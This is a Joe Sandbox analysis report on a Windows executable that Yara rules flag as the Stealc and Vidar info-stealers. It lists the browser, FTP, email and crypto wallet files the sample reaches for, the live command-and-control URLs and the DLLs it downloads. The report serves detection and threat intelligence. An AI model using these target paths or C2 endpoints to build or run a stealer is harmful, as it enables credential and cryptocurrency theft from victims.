Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7336, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1723473473.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1950543917.00000000012EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7336, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7336, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	212 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php.dll	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpser	17%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php3	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll4	18%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/nss3.dllC	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	EHDBGDHD.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	IIEBKJECFCFBFIECBKFBKJKFBG.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	EHDBGDHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dllfw	file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllZtLA	file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllFt	file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp, KJJECGHJDBFIJJJKEHCB.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	EHDBGDHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpq&	file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1950543917.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1794608139.000000001D780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php.dll	file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpCoinomi	file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	KJJECGHJDBFIJJJKEHCB.0.dr	false		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	EHDBGDHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpser	file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpE&	file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp, KJJECGHJDBFIJJJKEHCB.0.dr	false		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1971770640.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1963493116.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.1972391998.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp, KJJECGHJDBFIJJJKEHCB.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	EHDBGDHD.0.dr	false	0%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpmple-storage.json	file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	EHDBGDHD.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp, KJJECGHJDBFIJJJKEHCB.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllC	file.exe, 00000000.00000002.1950543917.0000000001333000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, file.exe, 00000000.00000003.1794608139.000000001D780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	EHDBGDHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php%&	file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IIEBKJECFCFBFIECBKFBKJKFBG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php3=U	file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	EHDBGDHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpECGHJDBFIJJJKEHCB	file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp, KJJECGHJDBFIJJJKEHCB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dllzwl	file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	IIEBKJECFCFBFIECBKFBKJKFBG.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	EHDBGDHD.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17isual	file.exe, 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll4	file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528659
Start date and time:	2024-10-08 08:21:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 75 Number of non-executed functions: 47
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	7AeSqNv1rC.exe	Get hash	malicious	MicroClip, Vidar	Browse	185.215.113.117
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	7AeSqNv1rC.exe	Get hash	malicious	MicroClip, Vidar	Browse
	VmRHSCaiyc.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse
